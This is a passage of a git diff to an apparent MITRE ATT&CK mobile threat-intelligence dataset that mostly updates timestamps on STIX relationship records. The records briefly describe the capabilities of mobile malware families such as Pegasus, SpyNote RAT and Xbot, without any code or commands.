-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus was distributed through a web site and exploits vulnerabilities in the Safari web browser on iOS devices.",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
@@ -7804,7 +7801,7 @@
             "id": "relationship--f6098dca-3a9e-4991-8d51-1310b12161b6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android uses SMS for command and control.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
@@ -7825,7 +7822,7 @@
             "id": "relationship--db3fc82d-d353-438d-aa5e-9b5e7e60f0ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android \"checks if the device is on Wi-Fi, a cellular network, and/or is roaming.\".",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
@@ -7846,7 +7843,7 @@
             "id": "relationship--0cae6859-d7d1-483b-b473-4f32084938a9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android has the ability to record audio and take pictures using the device camera.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
@@ -7867,7 +7864,7 @@
             "id": "relationship--d7ae7fb1-c363-4969-a4af-e2dd44a3c064",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android attempts to modify the device's system partition.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
@@ -7888,7 +7885,7 @@
             "id": "relationship--3d24d88e-a0ab-42c6-8e8f-11f721082bba",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android attempts to exploit well-known Android OS vulnerabilities to escalate privileges.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
@@ -7909,7 +7906,7 @@
             "id": "relationship--19df76ee-fa85-43cf-96ce-422d46f29a13",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android listens for the BOOT_COMPLETED broadcast intent in order to maintain persistence and activate its functionality at device boot time.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
@@ -7930,7 +7927,7 @@
             "id": "relationship--3f973c3c-45f8-432a-9859-e8749f2e7418",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android accesses sensitive data in files, such as messages stored by the WhatsApp, Facebook, and Twitter applications. It also has the ability to access arbitrary filenames and retrieve directory listings.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
@@ -7951,7 +7948,7 @@
             "id": "relationship--4f366c8c-9c70-44ed-baa8-d433d5dbfe49",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android accesses call logs.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
@@ -7972,7 +7969,7 @@
             "id": "relationship--e84ad4b0-9f7a-48a5-89ae-33804b11eb56",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android accesses contact list information.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
@@ -7993,7 +7990,7 @@
             "id": "relationship--f5fab17b-43e7-46ff-bdea-eb8c52a0c6c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android accesses the list of installed applications.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
@@ -8014,7 +8011,7 @@
             "id": "relationship--a7b276ac-6f07-4d1f-8d24-dc5682acf62d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android accesses calendar entries.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
@@ -8035,7 +8032,7 @@
             "id": "relationship--0e81eb1d-cd1e-43e1-8c09-03927681ce76",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android attempts to detect whether it is running in an emulator rather than a real device.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
@@ -8056,7 +8053,7 @@
             "id": "relationship--8d027310-93a0-4046-b7ad-d1f461f30838",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RCSAndroid has the ability to dynamically download and execute new code at runtime.",
             "source_ref": "malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
@@ -8077,7 +8074,7 @@
             "id": "relationship--9e3921a8-a9e1-48c4-9b61-ff190c104f63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RCSAndroid can \"[m]onitor clipboard content\".",
             "source_ref": "malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
@@ -8103,7 +8100,7 @@
             "id": "relationship--4088b31b-d542-4935-84b4-82b592159591",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RCSAndroid can \"[c]ollect passwords for Wi-Fi networks and online accounts, including Skype, Facebook, Twitter, Google, WhatsApp, Mail, and LinkedIn\".",
             "source_ref": "malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
@@ -8129,7 +8126,7 @@
             "id": "relationship--14143e21-51bf-4fa7-a949-d22a8271f590",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "As described by Trend MicroRCSAndroid can \"[r]ecord using the microphone\" and can \"[c]apture photos using the front and back cameras\".",
             "source_ref": "malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
@@ -8155,7 +8152,7 @@
             "id": "relationship--2065382f-45ae-4b9a-a77c-027ecd6c1735",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RCSAndroid can \"[c]ollect SMS, MMS, and Gmail messages\".",
             "source_ref": "malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
@@ -8181,7 +8178,7 @@
             "id": "relationship--da4296d7-5fdb-45b6-9791-b023d634c08d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RCSAndroid can \"[r]ecord location\".",
             "source_ref": "malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
@@ -8207,7 +8204,7 @@
             "id": "relationship--8cb42e3d-69f4-4b0d-98c9-0bb7560947c1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RCSAndroid can use SMS for command and control.",
             "source_ref": "malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
@@ -8233,7 +8230,7 @@
             "id": "relationship--e3a03a80-0e31-43ef-b802-d6f65c44896d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RuMMS is delivered via a web link to an APK (Android application package). The link is sent via SMS.",
             "source_ref": "malware--936be60d-90eb-4c36-9247-4b31128432c4",
@@ -8254,7 +8251,7 @@
             "id": "relationship--29dc105c-0b1b-4645-85ef-436c096bd3e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RuMMS uploads incoming SMS messages to a remote command and control server.",
             "source_ref": "malware--936be60d-90eb-4c36-9247-4b31128432c4",
@@ -8275,7 +8272,7 @@
             "id": "relationship--4d7e937d-7ea1-49cb-939c-5244815e51d7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RuMMS uses HTTP for command and control.",
             "source_ref": "malware--936be60d-90eb-4c36-9247-4b31128432c4",
@@ -8296,7 +8293,7 @@
             "id": "relationship--bb3be217-08e2-4bb0-9f1a-d8e538010451",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RuMMS gathers device model and operating system version information and transmits it to a command and control server.",
             "source_ref": "malware--936be60d-90eb-4c36-9247-4b31128432c4",
@@ -8317,7 +8314,7 @@
             "id": "relationship--3c291ee5-1782-4e5b-8131-5188c7388f45",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RuMMS gathers the device phone number and IMEI and transmits them to a command and control server.",
             "source_ref": "malware--936be60d-90eb-4c36-9247-4b31128432c4",
@@ -8338,7 +8335,7 @@
             "id": "relationship--18afa4ad-4fd7-47ad-acdb-3b298b640d3c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shedun \"embeds itself as a system application, and becomes nearly impossible to remove\".",
             "source_ref": "malware--c80a6bef-b3ce-44d0-b113-946e93124898",
@@ -8359,7 +8356,7 @@
             "id": "relationship--f0851531-e554-4658-920c-f2342632c19a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shedun \"uses publicly available exploits that perform the rooting function. ShiftyBug, for example, comes packed with at least eight of them in an effort to enable itself to root as many device as possible.\".",
             "source_ref": "malware--c80a6bef-b3ce-44d0-b113-946e93124898",
@@ -8380,7 +8377,7 @@
             "id": "relationship--ebc0aa93-93ac-4b7e-ad87-9d5743a09c8e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "\"Malicious actors behind\" Shedun \"repackage and inject malicious code into thousands of popular applications found in Google Play, and then later publish them to third-party app stores. Indeed, we believe many of these apps are actually fully-functional, providing their usual services, in addition to the malicious code that roots the device.\"",
             "source_ref": "malware--c80a6bef-b3ce-44d0-b113-946e93124898",
@@ -8401,7 +8398,7 @@
             "id": "relationship--bf2ea132-c8f3-4ea0-8c4c-bdc95923c3b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SpyNote RAT can activate \"the device's microphone\" and listen \"to live conversations\".",
             "source_ref": "malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23",
@@ -8422,7 +8419,7 @@
             "id": "relationship--bc4e848a-adb7-40a2-94a1-d5ab9854ff0f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SpyNote RAT can copy \"files from the device to a Command & Control (C&C) center\".",
             "source_ref": "malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23",
@@ -8443,7 +8440,7 @@
             "id": "relationship--5012c647-9b58-4a4f-b64f-468c9b76a60c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SpyNote RAT can view contacts.",
             "source_ref": "malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23",
@@ -8464,7 +8461,7 @@
             "id": "relationship--e0ebf0cd-9244-4cef-9171-128a12b87b58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SpyNote RAT can read SMS messages.",
             "source_ref": "malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23",
@@ -8485,7 +8482,7 @@
             "id": "relationship--0008005f-ca51-47c3-8369-55ee5de1c65a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SpyNote RAT uses an Android broadcast receiver to automatically start when the device boots.",
             "source_ref": "malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23",
@@ -8506,7 +8503,7 @@
             "id": "relationship--0f7e7c29-43f0-4aff-ae83-dfff331915ef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SpyNote RAT collects the device's location.",
             "source_ref": "malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23",
@@ -8527,7 +8524,7 @@
             "id": "relationship--319d46b5-de41-4f23-9001-2fa75f954720",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan-SMS.AndroidOS.Agent.ao uses Google Cloud Messaging (GCM) for command and control.",
             "source_ref": "malware--a1867c56-8c86-455a-96ad-b0d5f7e2bc17",
@@ -8548,7 +8545,7 @@
             "id": "relationship--54151897-cc7e-4f92-af50-bed41ea78d92",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan-SMS.AndroidOS.FakeInst.a uses Google Cloud Messaging (GCM) for command and control.",
             "source_ref": "malware--28e39395-91e7-4f02-b694-5e079c964da9",
@@ -8569,7 +8566,7 @@
             "id": "relationship--2cdd5474-620c-499e-8b9c-835505febc2c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan-SMS.AndroidOS.OpFake.a uses Google Cloud Messaging (GCM) for command and control.",
             "source_ref": "malware--d89c132d-7752-4c7f-9372-954a71522985",
@@ -8590,7 +8587,7 @@
             "id": "relationship--9d7ac1b2-3fa9-4236-b72d-5565f0c66eab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Twitoor uses Twitter for command and control.",
             "source_ref": "malware--41e3fd01-7b83-471f-835d-d2b1dc9a770c",
@@ -8611,7 +8608,7 @@
             "id": "relationship--0791f28b-d06f-4fee-9cdb-85a6fd2eed61",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "\"WireLurker monitors any iOS device connected via USB with an infected OS X computer and installs downloaded third-party applications or automatically generated malicious applications onto the device, regardless of whether it is jailbroken.\"",
             "source_ref": "malware--326eaf7b-5784-4f08-8fc2-61fd5d5bc5fb",
@@ -8631,7 +8628,7 @@
             "id": "relationship--b3bb33bf-9034-4d5c-8ea0-31d3bbd12b6b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "\"WireLurker exhibits complex code structure, multiple component versions, file hiding, code obfuscation and customized encryption to thwart anti-reversing.\"",
             "source_ref": "malware--326eaf7b-5784-4f08-8fc2-61fd5d5bc5fb",
@@ -8651,7 +8648,7 @@
             "id": "relationship--efcfe1a3-3351-4b4f-ae36-101f103b4798",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "X-Agent was placed in a repackaged version of an application used by Ukrainian artillery forces..",
             "source_ref": "malware--56660521-6db4-4e5a-a927-464f22954b7c",
@@ -8672,7 +8669,7 @@
             "id": "relationship--9e66ec3b-cdd6-461c-bd84-e75316818e15",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "X-Agent was believed to have been used to obtain \"gross locational data\" of Ukrainian artillery forces.",
             "source_ref": "malware--56660521-6db4-4e5a-a927-464f22954b7c",
@@ -8693,7 +8690,7 @@
             "id": "relationship--1cca5e17-80ae-4b6e-8919-2768153aa966",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Xbot uses \"phishing pages crafted to mimic Google Play's payment interface as well as the login pages of 7 different banks' apps\".",
             "source_ref": "tool--da21929e-40c0-443d-bdf4-6b60d15448b4",
@@ -8714,7 +8711,7 @@
             "id": "relationship--1218ed50-bd44-4f37-baba-1aae998b5a1f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Xbot \"can also remotely lock infected Android devices...and ask for a...cash card as ransom\".",
             "source_ref": "tool--da21929e-40c0-443d-bdf4-6b60d15448b4",
@@ -8735,7 +8732,7 @@
             "id": "relationship--833b4c44-7370-4b27-b9b2-a058c27dcf8c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Xbot \"will steal all SMS message and contact information, intercept certain SMS messages, and parse SMS messages for mTANs (Mobile Transaction Authentication Number) from banks\".",
             "source_ref": "tool--da21929e-40c0-443d-bdf4-6b60d15448b4",
@@ -8756,7 +8753,7 @@
             "id": "relationship--70f8cbed-b20d-4ff2-ad02-8d78e7d49159",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Xbot can \"encrypt the user's files in external storage (e.g., SD card), and then ask for a U.S. $100 PayPal cash card as ransom\".",
             "source_ref": "tool--da21929e-40c0-443d-bdf4-6b60d15448b4",
@@ -8777,7 +8774,7 @@
             "id": "relationship--13efc415-5e17-4a16-81c2-64e74815907f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XcodeGhost can \"[p]rompt a fake alert dialog to phish user credentials.\"",
             "source_ref": "malware--d9e07aea-baad-4b68-bdca-90c77647d7f9",
@@ -8798,7 +8795,7 @@
             "id": "relationship--2de76a24-ec87-4808-b0d3-b84d318ac22c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XcodeGhost can \"[r]ead and write data in the user\u2019s clipboard, which could be used to read the user\u2019s password if that password is copied from a password management tool.\"",
             "source_ref": "malware--d9e07aea-baad-4b68-bdca-90c77647d7f9",
@@ -8819,7 +8816,7 @@
             "id": "relationship--8e4b2305-1280-4456-8ec7-93c66da5c674",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XcodeGhost was injected into apps by a modified version of Xcode (Apple's software development tool).",
             "source_ref": "malware--d9e07aea-baad-4b68-bdca-90c77647d7f9",
@@ -8845,7 +8842,7 @@
             "id": "relationship--c5d6fb25-1782-44c4-b3ae-0cd72e8a6d37",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "\"YiSpecter's malicious apps were signed with three iOS enterprise certificates issued by Apple so that they can be installed as enterprise apps on non-jailbroken iOS devices.\"",
             "source_ref": "malware--a15c9357-2be0-4836-beec-594f28b9b4a9",
@@ -8865,7 +8862,7 @@
             "id": "relationship--eb686f55-85de-42d8-a5a1-69a78af0f1f3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZergHelper \"appears to have gotten by Apple\u2019s app review process by performing different behaviors for users from different physical locations...For users outside of China, it would act as what it claimed: an English studying app. However, when accessing the app from China, its real features would appear.\" Presumably, Apple's app review occurred outside of China and the \"real features\" were not visible during the review.",
             "source_ref": "malware--3c3b55a6-c3e9-4043-8aae-283fe96220c0",
@@ -8886,7 +8883,7 @@
             "id": "relationship--d54bdaff-8eb8-4a02-9f64-bc33c892e9d1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZergHelper tries \"to extend its capabilities via dynamic updating of its code, which could further bypass iOS security restrictions.\"",
             "source_ref": "malware--3c3b55a6-c3e9-4043-8aae-283fe96220c0",
@@ -8907,7 +8904,7 @@
             "id": "relationship--40581c90-e948-4e91-8530-a9bc59cce9d7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZergHelper \"abuses enterprises certificate and personal certificates to sign and distribute apps, which may include code that hasn\u2019t been reviewed, or abuse private APIs.\"",
             "source_ref": "malware--3c3b55a6-c3e9-4043-8aae-283fe96220c0",
diff --git a/mobile-attack/relationship/relationship--0008005f-ca51-47c3-8369-55ee5de1c65a.json b/mobile-attack/relationship/relationship--0008005f-ca51-47c3-8369-55ee5de1c65a.json
index 1e5cf05945..32a5a98304 100644
--- a/mobile-attack/relationship/relationship--0008005f-ca51-47c3-8369-55ee5de1c65a.json
+++ b/mobile-attack/relationship/relationship--0008005f-ca51-47c3-8369-55ee5de1c65a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1a2cfc38-d36e-4f74-822c-13ca537a41b2",
+    "id": "bundle--b9c97f89-23ab-495b-98c6-97937b9d20c4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0008005f-ca51-47c3-8369-55ee5de1c65a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SpyNote RAT uses an Android broadcast receiver to automatically start when the device boots.",
             "source_ref": "malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23",
diff --git a/mobile-attack/relationship/relationship--00b20e5c-5f52-4a07-bfec-e30872e793e3.json b/mobile-attack/relationship/relationship--00b20e5c-5f52-4a07-bfec-e30872e793e3.json
index 46c12aefef..438746aebf 100644
--- a/mobile-attack/relationship/relationship--00b20e5c-5f52-4a07-bfec-e30872e793e3.json
